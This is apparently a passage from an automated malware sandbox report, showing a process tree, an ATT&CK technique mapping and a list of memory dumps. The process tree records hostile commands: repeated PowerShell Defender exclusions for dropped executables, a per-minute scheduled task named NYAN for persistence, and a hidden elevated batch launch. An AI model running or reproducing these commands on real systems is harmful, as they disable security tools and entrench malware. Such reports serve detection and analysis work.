    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:8808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:2340
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:9776
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:10076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:10012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:12760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:12784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:12812
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:11504
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:12312
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:12544
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:14008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:14124
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:14276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:14656
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:15424
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:13968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:17436
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:17500
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:17568
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout 1
    3⤵
    PID:8608
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:12196
- - C:\Users\Admin\AppData\Local\Temp\Sthz.exe
    "C:\Users\Admin\AppData\Local\Temp\Sthz.exe"
    3⤵
    PID:9544
- - C:\Users\Admin\AppData\Local\Temp\Sthz.exe
    "C:\Users\Admin\AppData\Local\Temp\Sthz.exe"
    3⤵
    PID:9604
- - C:\Users\Admin\AppData\Local\Temp\Sthz.exe
    "C:\Users\Admin\AppData\Local\Temp\Sthz.exe"
    3⤵
    PID:9624
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Delete /tn NYAN /F
      4⤵
      PID:9860
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" /sc minute /mo 1
      4⤵
      Creates scheduled task(s)
      PID:8432
  - - C:\Windows\WindowsHelper.exe
      "C:\Windows\WindowsHelper.exe"
      4⤵
      PID:8432
    - - C:\Users\Admin\AppData\Local\Temp\6aaa9304-0055-40ad-b126-6ea688802e35\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6aaa9304-0055-40ad-b126-6ea688802e35\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6aaa9304-0055-40ad-b126-6ea688802e35\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        5⤵
        
        PID:20036
      - C:\Users\Admin\AppData\Local\Temp\6aaa9304-0055-40ad-b126-6ea688802e35\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6aaa9304-0055-40ad-b126-6ea688802e35\AdvancedRun.exe" /SpecialRun 4101d8 20036
        6⤵
        
        PID:20196
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:9988
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:19220
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:9504
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:16080
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:14840
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:18652
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:14444
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:14640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:15840
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:11384
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:16132
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:21244
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:21272
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:21300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:16228
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:20612
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:20760
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:21032
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:18324
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:21120
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:21284
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\WindowsHelper.exe" -Force
        5⤵
        
        PID:15296
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
        5⤵
        
        PID:11992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/348-133-0x0000000000830000-0x0000000000831000-memory.dmp

Download

memory/348-249-0x0000000008940000-0x0000000008941000-memory.dmp

Download

memory/348-144-0x0000000002B20000-0x0000000002B97000-memory.dmp

Download

memory/2204-119-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

Download

memory/2204-118-0x0000000005160000-0x0000000005161000-memory.dmp

Download

memory/2204-117-0x00000000048C0000-0x00000000048C1000-memory.dmp

Download

memory/2204-116-0x0000000004A70000-0x0000000004A71000-memory.dmp

Download

memory/2204-114-0x0000000000400000-0x0000000000401000-memory.dmp

Download

memory/2420-247-0x0000000004AA2000-0x0000000004AA3000-memory.dmp

Download

memory/2420-245-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

Download

memory/2444-328-0x0000000007190000-0x0000000007191000-memory.dmp

Download

memory/2472-136-0x0000000003220000-0x0000000003290000-memory.dmp

Download

memory/2472-123-0x0000000000E90000-0x0000000000E91000-memory.dmp

Download

memory/2472-135-0x0000000005CA0000-0x0000000005CA1000-memory.dmp

Download

memory/2472-272-0x00000000090F0000-0x00000000090F1000-memory.dmp

Download

memory/2748-129-0x0000000000530000-0x0000000000531000-memory.dmp

Download

memory/2748-140-0x0000000000FF0000-0x0000000001067000-memory.dmp

Download

memory/2748-281-0x00000000086D0000-0x00000000086D1000-memory.dmp

Download

memory/2784-299-0x0000000002D60000-0x0000000002D61000-memory.dmp

Download

memory/2784-301-0x0000000002D62000-0x0000000002D63000-memory.dmp

Download

memory/4232-185-0x0000000004B40000-0x0000000004B41000-memory.dmp

Download

memory/4232-248-0x0000000007042000-0x0000000007043000-memory.dmp

Download

memory/4232-227-0x0000000007040000-0x0000000007041000-memory.dmp

Download

memory/4232-199-0x0000000007680000-0x0000000007681000-memory.dmp

Download

memory/4244-268-0x0000000004A82000-0x0000000004A83000-memory.dmp

Download

memory/4244-217-0x0000000004A80000-0x0000000004A81000-memory.dmp

Download

memory/4264-266-0x00000000065F0000-0x00000000065F1000-memory.dmp

Download

memory/4264-278-0x00000000065F2000-0x00000000065F3000-memory.dmp

Download

memory/4276-260-0x0000000004360000-0x0000000004361000-memory.dmp

Download

memory/4276-275-0x0000000004362000-0x0000000004363000-memory.dmp

Download

memory/4336-279-0x00000000008D2000-0x00000000008D3000-memory.dmp

Download

memory/4336-269-0x00000000008D0000-0x00000000008D1000-memory.dmp

Download

memory/4356-221-0x00000000067C2000-0x00000000067C3000-memory.dmp

Download

memory/4356-273-0x00000000067C0000-0x00000000067C1000-memory.dmp

Download

memory/4440-282-0x0000000004632000-0x0000000004633000-memory.dmp

Download

memory/4440-230-0x0000000004630000-0x0000000004631000-memory.dmp

Download

memory/4508-250-0x0000000006F50000-0x0000000006F51000-memory.dmp

Download

memory/4508-254-0x0000000006F52000-0x0000000006F53000-memory.dmp

Download

memory/4512-241-0x0000000007110000-0x0000000007111000-memory.dmp

Download

memory/4512-293-0x0000000007112000-0x0000000007113000-memory.dmp

Download

memory/4524-234-0x0000000004590000-0x0000000004591000-memory.dmp

Download

memory/4524-292-0x0000000004592000-0x0000000004593000-memory.dmp

Download

memory/4604-327-0x0000000008480000-0x0000000008481000-memory.dmp

Download

memory/4636-236-0x0000000006790000-0x0000000006791000-memory.dmp

Download

memory/4636-283-0x0000000006792000-0x0000000006793000-memory.dmp

Download

memory/4700-317-0x0000000008F50000-0x0000000008F51000-memory.dmp

Download

memory/4740-288-0x00000000048D2000-0x00000000048D3000-memory.dmp

Download

memory/4740-286-0x00000000048D0000-0x00000000048D1000-memory.dmp

Download

memory/4824-290-0x00000000070F2000-0x00000000070F3000-memory.dmp

Download

memory/4824-289-0x00000000070F0000-0x00000000070F1000-memory.dmp

Download

memory/4852-251-0x0000000007490000-0x0000000007491000-memory.dmp

Download

memory/4852-255-0x0000000007492000-0x0000000007493000-memory.dmp

Download

memory/4872-237-0x0000000006900000-0x0000000006901000-memory.dmp

Download

memory/4872-291-0x0000000006902000-0x0000000006903000-memory.dmp

Download

memory/4924-295-0x0000000006C22000-0x0000000006C23000-memory.dmp

Download

memory/4924-294-0x0000000006C20000-0x0000000006C21000-memory.dmp

Download

memory/4988-242-0x0000000002EB0000-0x0000000002EB1000-memory.dmp

Download

memory/4988-243-0x0000000002EB2000-0x0000000002EB3000-memory.dmp

Download

memory/5044-297-0x0000000005142000-0x0000000005143000-memory.dmp

Download

memory/5044-296-0x0000000005140000-0x0000000005141000-memory.dmp

Download

memory/5096-300-0x00000000043C2000-0x00000000043C3000-memory.dmp

Download

memory/5096-298-0x00000000043C0000-0x00000000043C1000-memory.dmp

Download

memory/5196-258-0x0000000004920000-0x0000000004921000-memory.dmp

Download

memory/5196-259-0x0000000004922000-0x0000000004923000-memory.dmp

Download

memory/5360-261-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Download

memory/5360-262-0x0000000004DE2000-0x0000000004DE3000-memory.dmp

Download

memory/5468-263-0x0000000006B20000-0x0000000006B21000-memory.dmp

Download

memory/5468-264-0x0000000006B22000-0x0000000006B23000-memory.dmp

Download

memory/6360-318-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Download

memory/6388-320-0x0000000004760000-0x0000000004761000-memory.dmp

Download

memory/6464-319-0x0000000007080000-0x0000000007081000-memory.dmp

Download

memory/6564-321-0x0000000006F10000-0x0000000006F11000-memory.dmp

Download

memory/6616-322-0x0000000004B40000-0x0000000004B41000-memory.dmp

Download

memory/6696-323-0x0000000007520000-0x0000000007521000-memory.dmp

Download

memory/6716-324-0x0000000004340000-0x0000000004341000-memory.dmp

Download

memory/6836-325-0x0000000004800000-0x0000000004801000-memory.dmp

Download

memory/6880-326-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

Download